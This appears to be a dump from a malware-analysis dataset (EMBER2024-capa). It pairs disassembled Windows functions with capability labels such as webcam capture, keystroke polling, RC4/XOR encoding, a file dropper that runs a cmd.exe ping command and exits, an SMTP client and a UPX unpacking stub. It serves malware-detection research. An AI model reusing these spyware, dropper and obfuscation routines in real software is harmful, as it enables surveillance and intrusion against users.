joyce8/EMBER2024-capa huggingface dataset:
Function at 0x483060
Capabilities:
Capture webcam image

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
mov esi, ecx
mov eax, dword [eax + 4]
cmp dword [esi + 0xec], 1
jne 0x483103
test eax, eax
jbe 0x483103
mov ecx, dword [esi + 0xbc]
test ecx, ecx
jle 0x483103
mov ecx, dword [esi + 0x1c]
push edi
push 0
push eax
push 0x419
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov edi, eax
mov eax, dword [esi + 0xbc]
inc edi
test eax, eax
jne 0x4830ae
xor esi, esi
jmp 0x4830b4
mov esi, dword [esi + 0xb4]
add esi, 4
xor ebx, ebx
test edi, edi
jbe 0x4830df
push ebp
mov ebp, edi
add esi, 6
push esi
call fcn.00485510
add esi, eax
push esi
mov ebx, esi
call fcn.00485510
add esp, 8
add esi, eax
dec edi
dec ebp
jne 0x4830c0
pop ebp
test edi, edi
pop edi
jne 0x483103
test ebx, ebx
je 0x483103
mov edx, dword [esp + 0x10]
push 0x4e
add edx, 0x10
push ebx
push edx
call fcn.004aafa0
add esp, 0xc
mov eax, 1
pop esi
pop ebx
ret 0xc
pop esi
xor eax, eax
pop ebx
ret 0xc

Function at 0x483225
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x48333d
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x48333d
mov eax, dword [esi + 0x3c]
push eax
call fcn.004c2532
mov esi, eax
test esi, esi
je 0x48333d
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x48333d
mov ecx, esi
call fcn.004831b0
cmp edi, eax
jge 0x48333d
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x4832c3
mov dword [esp + 0x34], 1
jmp 0x48331e
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x48333d
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.00481a70
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc
Function at 0x48ccb0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
mov ebx, ecx
push ebp
push esi
mov eax, dword [ebx + 0x13c]
push edi
test eax, eax
jle 0x48ccfc
mov eax, dword [ebx + 0x140]
test eax, eax
jle 0x48ccfc
mov ebp, dword [sym.imp.USER32.dll_GetKeyState]
xor esi, esi
lea edi, [ebx + 0x150]
mov eax, dword [edi]
test eax, eax
je 0x48cce6
push eax
call ebp
test ax, ax
jl 0x48ccf4
inc esi
add edi, 4
cmp esi, 6
jb 0x48ccd8
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
mov ecx, ebx
call fcn.0048c9b0
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x490b50
Capabilities:
Create thread

Disassembly:
push ecx
cmp dword [ecx + 0xcc], 1
je 0x490bb0
mov eax, dword [ecx + 0x1c]
test eax, eax
je 0x490bb0
mov eax, dword [ecx + 0xb0]
test eax, eax
je 0x490bb0
push esi
mov edx, 5
mov esi, dword [ecx + 0xbc]
cmp esi, edx
pop esi
je 0x490bb0
mov dword [ecx + 0xb4], eax
mov dword [ecx + 0x94], 0
mov dword [ecx + 0xbc], edx
lea eax, [esp]
push eax
push 0
push ecx
push 0x490bc0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ecx
ret
Function at 0x494d20
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x1de4e1c]
xor edx, edx
cmp eax, edx
jne 0x494d46
xor eax, eax
mov byte [eax + 0x1de4d1c], al
inc eax
cmp eax, 0x100
jl 0x494d2e
mov dword [0x1de4e1c], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x1de4d1c
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x494dd7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x494daa
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x494d78
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x494e50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x494ea3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x494e8a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x49b860
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4d0b6e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.0049c180
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0x1d7bac4
call fcn.004c0870
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x49b8f3
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.004c0870
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x49b8ec
push 0
mov ecx, eax
call fcn.00492960
mov dword [esi + 0xc], eax
jmp 0x49b8f5
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x49b8f5
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8
Function at 0x4c2ed6
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4c2f0e
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004c0f8a
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004c0f62
jmp 0x4c2f1a
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4c45c4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4c4606
call fcn.004ca663
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4c4606
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4c45fd
xor eax, eax
jmp 0x4c460e
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004c4614
pop edi
pop esi
pop ebx
ret 4
Function at 0x401d20
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x4065ad
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
lea ecx, [esi + 4]
call sub.MFC42.DLL_CString::CString_1
xor ebx, ebx
lea ecx, [esi + 8]
mov dword [esp + 0x18], ebx
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esi + 0xc]
mov byte [esp + 0x18], 1
call sub.MFC42.DLL_CString::CString_1
lea edi, [esi + 0x10]
mov byte [esp + 0x18], 2
mov ecx, edi
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esi + 0x14]
mov byte [esp + 0x18], 3
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esi + 0x1c]
mov byte [esp + 0x18], 4
call sub.MFC42.DLL_CString::CString_1
mov dword [esi + 0x24], 0x4075b0
mov dword [esi + 0x28], ebx
mov dword [esi + 0x34], ebx
mov dword [esi + 0x30], ebx
mov dword [esi + 0x2c], ebx
push str.WC_Mail
mov ecx, edi
mov byte [esp + 0x1c], 6
mov dword [esi], 0x407598
call sub.MFC42.DLL_CString::operator
push 0x4c
mov ecx, esi
call fcn.00402370
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x401d37
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x4065ad
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
lea ecx, [esi + 4]
call sub.MFC42.DLL_CString::CString_1
xor ebx, ebx
lea ecx, [esi + 8]
mov dword [esp + 0x18], ebx
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esi + 0xc]
mov byte [esp + 0x18], 1
call sub.MFC42.DLL_CString::CString_1
lea edi, [esi + 0x10]
mov byte [esp + 0x18], 2
mov ecx, edi
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esi + 0x14]
mov byte [esp + 0x18], 3
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esi + 0x1c]
mov byte [esp + 0x18], 4
call sub.MFC42.DLL_CString::CString_1
mov dword [esi + 0x24], 0x4075b0
mov dword [esi + 0x28], ebx
mov dword [esi + 0x34], ebx
mov dword [esi + 0x30], ebx
mov dword [esi + 0x2c], ebx
push str.WC_Mail
mov ecx, edi
mov byte [esp + 0x1c], 6
mov dword [esi], 0x407598
call sub.MFC42.DLL_CString::operator
push 0x4c
mov ecx, esi
call fcn.00402370
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x402cf0
Capabilities:
Read file on windows

Disassembly:
mov eax, 0x1004
call fcn.00406170
push ebx
push edi
mov ecx, 0x3ff
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0
push 0x80
push 3
push 0
stosb byte es:[edi], al
mov eax, dword [esp + 0x1024]
push 0
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x402d43
pop edi
xor eax, eax
pop ebx
add esp, 0x1004
ret
push ebp
mov ebp, dword [esp + 0x101c]
push esi
mov ecx, 0x400
xor eax, eax
lea edi, [esp + 0x14]
push eax
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
lea edx, [esp + 0x18]
push ecx
push 0x1000
push edx
push ebx
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x402dac
mov edi, dword [ebp]
mov eax, dword [esp + 0x1018]
add edi, eax
mov eax, ecx
lea esi, [esp + 0x14]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
mov eax, dword [ebp]
add eax, ecx
mov dword [ebp], eax
jmp 0x402d4c
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebp
pop edi
mov eax, 1
pop ebx
add esp, 0x1004
ret
Function at 0x402dd0
Capabilities:
Create process on windows
Terminate process
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x51c
push ebx
push ebp
push esi
push edi
push 0x100000
call sub.MFC42.DLL_operatornew
mov esi, eax
mov ecx, 0x40000
xor eax, eax
mov edi, esi
rep stosd dword es:[edi], eax
add esp, 4
mov dword [esp + 0x10], eax
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.MSVCRT.dll___p___argv]
mov ecx, dword [eax]
mov edx, dword [ecx]
push edx
push esi
call fcn.00402cf0
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x35]
mov byte [esp + 0x34], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
lea ecx, [esp + 0x20]
mov dword [esp + 0x21], eax
push 5
mov dword [esp + 0x29], eax
push ecx
mov dword [esp + 0x31], eax
mov byte [esp + 0x28], 0
mov word [esp + 0x35], ax
mov byte [esp + 0x37], al
call fcn.00402c70
add esp, 0x14
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea edx, [esp + 0x14]
mov edi, eax
push edx
lea eax, [esp + 0x2c]
push str.c:_s.exe
push eax
and edi, 0x1ff
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea ecx, [esp + 0x28]
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push edi
mov ebp, eax
call sub.MFC42.DLL_operatornew
add esp, 4
mov ebx, eax
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x24]
push 0
push edx
push eax
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0x24]
push 0
push ecx
push edi
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call sub.MFC42.DLL_operatordelete
push esi
call sub.MFC42.DLL_operatordelete
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x135]
mov byte [esp + 0x134], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll___p___argv]
mov edx, dword [eax]
lea ecx, [esp + 0x30]
mov eax, dword [edx]
lea edx, [esp + 0x134]
push eax
push ecx
push str.cmd.exe__c_ping_127.0.0.1__n_2_s___s_
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [esp + 0x12c]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x404f30
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x406c60
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x64
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], esi
call sub.MFC42.DLL_CString::CString_1
mov eax, dword [esi + 8]
xor ebx, ebx
cmp eax, ebx
mov dword [ebp - 4], ebx
je 0x404f8f
lea ecx, [ebp - 0x18]
mov dword [ebp - 4], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x400
mov byte [ebp - 4], 1
call sub.MFC42.DLL_operatornew
add esp, 4
cmp eax, ebx
mov dword [esi + 0x28], eax
jne 0x404fb6
push str.Not_enough_memory
lea ecx, [esi + 4]
call sub.MFC42.DLL_CString::operator
jmp 0x404fe9
push ebx
lea edi, [esi + 0x14]
push 0x3f
push 1
push ebx
mov ecx, edi
mov dword [ebp - 4], ebx
call sub.MFC42.DLL_CAsyncSocket::Create
test eax, eax
jne 0x40500b
push str.Unable_to_create_the_socket.
lea ecx, [esi + 4]
call sub.MFC42.DLL_CString::operator
mov eax, dword [esi + 0x28]
push eax
call sub.MFC42.DLL_operatordelete
add esp, 4
mov dword [esi + 0x28], ebx
lea ecx, [ebp - 0x18]
mov dword [ebp - 4], 0xffffffff
call sub.MFC42.DLL_CString::CString
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x20]
mov ecx, esi
push eax
call fcn.00404f10
mov ecx, dword [eax]
mov byte [ebp - 4], 3
mov dword [ebp - 0x1c], ecx
mov ecx, esi
call fcn.004051f0
mov edx, dword [ebp - 0x1c]
push eax
push edx
mov ecx, edi
call sub.MFC42.DLL_CAsyncSocket::Connect
test eax, eax
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], bl
sete byte [ebp - 0x11]
call sub.MFC42.DLL_CString::CString
cmp byte [ebp - 0x11], bl
je 0x405061
push str.Unable_to_connect_to_server
lea ecx, [esi + 4]
call sub.MFC42.DLL_CString::operator
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 0x18]
jmp 0x404fda
push 1
mov ecx, esi
call fcn.00405740
test eax, eax
jne 0x405087
push str.Server_didnt_respond.
lea ecx, [esi + 4]
call sub.MFC42.DLL_CString::operator
mov edx, dword [edi]
mov ecx, edi
call dword [edx + 0x18]
jmp 0x404fda
lea eax, [ebp - 0x70]
push 0x50
push eax
call sub.WSOCK32.dll_gethostname
lea ecx, [ebp - 0x70]
lea edx, [ebp - 0x18]
push ecx
push str.HELO__s_r_n
push edx
call sub.MFC42.DLL_CString::Format
mov eax, dword [ebp - 0x18]
mov edx, dword [edi]
add esp, 0xc
mov ecx, dword [eax - 8]
push ebx
push ecx
push eax
mov ecx, edi
call dword [edx + 0x20]
push ebx
mov ecx, esi
call fcn.00405740
test eax, eax
jne 0x4050cf
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 0x18]
jmp 0x404fda
lea ecx, [ebp - 0x18]
mov dword [esi + 8], 1
mov dword [ebp - 4], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov eax, 1
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x508c40
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xc6000]
push edi
jmp 0x508c5a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x508c61
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x508c50
mov eax, 1
add ebx, ebx
jne 0x508c73
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x508c84
jne 0x508ca3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x508ca3
dec eax
add ebx, ebx
jne 0x508c90
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x508c68
add ebx, ebx
jne 0x508c9f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x508cf5
xor ecx, ecx
sub eax, 3
jb 0x508cbb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x508d2a
sar eax, 1
mov ebp, eax
jmp 0x508cc6
add ebx, ebx
jne 0x508cc6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x508c94
inc ecx
add ebx, ebx
jne 0x508cd4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x508c94
add ebx, ebx
jne 0x508ce1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x508cd6
jne 0x508cf2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x508cd6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x508d14
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x508d06
jmp 0x508c56
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x508d14
add edi, ecx
jmp 0x508c56
pop esi
mov edi, esi
mov ecx, 0x377e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x508d32
cmp byte [edi], 0x11
jne 0x508d32
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x508d37
lea edi, [esi + 0x104000]
mov eax, dword [edi]
or eax, eax
je 0x508daf
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x15fa1c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x15fb70]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x508d64
mov ecx, edi
jns 0x508d93
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x15fb74]
or eax, eax
je 0x508da9
mov dword [ebx], eax
add ebx, 4
jmp 0x508d81
call dword [esi + 0x15fb84]
mov ebp, dword [esi + 0x15fb78]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x508de3
sub esp, 0xffffff80
jmp 0x416310
Function at 0x4068fb
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x40691f
xor eax, eax
test eax, eax
je 0x406932
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x406932
xor ecx, ecx
jmp 0x406935
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406a58
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x43110c], 0
push esi
jne 0x406a8f
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406a69
mov dword [ecx*4 + 0x431108], eax
inc ecx
cmp ecx, 0x100
jl 0x406a64
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406ac0
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x431108]
xor eax, esi
inc ecx
dec edx
jne 0x406aa2
pop edi
not eax
pop esi
ret 0xc

Function at 0x43b65d
Capabilities:
Encode data using xor

Disassembly:
push 0x43b3c1
pop edi
sub edx, 0x7b396a39
or ebx, ebx
sub ebx, 1
call fcn.0043b698
add ebx, 0xb535d0e5
and ebx, edx
xor dword [ecx], edi
sub ebx, edx
and edx, edx
inc ecx
inc ebx
mov ebx, 0xc089f02a
cmp ecx, eax
jne fcn.0043b65d
and ebx, edx
ret
Function at 0x424d4a
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x525835
call fcn.0050cf19
mov esi, ecx
cmp dword [esi + 0x6c], 0
jne 0x424d6f
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x424dc1
call fcn.0041ae8c
push eax
lea ecx, [ebp - 0x10]
call fcn.0040d8d0
mov ecx, dword [esi + 0x6c]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0050ca4d
push eax
call fcn.00401010
add esp, 0x14
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.004012b0
mov eax, esi
call fcn.0050cff1
ret 8

Function at 0x428285
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x5896f0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, 0x105
push esi
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x4282ba
xor eax, eax
jmp 0x42830d
lea eax, [ebp - 0x210]
push eax
call fcn.0050cb1a
cmp word [ebp + eax*2 - 0x212], 0x5c
pop ecx
je 0x4282eb
push 0x55d2ac
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.0050f07c
add esp, 0xc
test eax, eax
jne 0x4282b6
push edi
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.0050f07c
add esp, 0xc
test eax, eax
jne 0x4282b6
lea eax, [ebp - 0x210]
push eax
call fcn.00415a00
pop ecx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0050baf1
leave
ret

Function at 0x453c72
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [ebp - 4], ecx
test esi, esi
jne 0x453c8c
call fcn.00420a03
mov esi, dword [eax + 0xc]
push dword [0x58de98]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x453caa
xor eax, eax
pop edi
pop esi
leave
ret 8
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp + 0xc], eax
test eax, eax
je 0x453ca2
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
jne 0x453cd7
xor esi, esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop ebx
jmp 0x453ca4
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 4]
push eax
push ebx
call fcn.00453ba0
mov esi, eax
jmp 0x453cc9

Function at 0x459c82
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add byte [eax], al
cmp dword [ebp + 0xc], 8
jne 0x459e16
and byte [ebp - 0x6b8], 0
and byte [ebp - 0x6b7], 0
mov byte [ebp - 0x6b6], 0x9b
invalid

Function at 0x45ac9b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
and byte [ebp - 0x7a9], 0
mov byte [ebp - 0x7a8], 0x4e
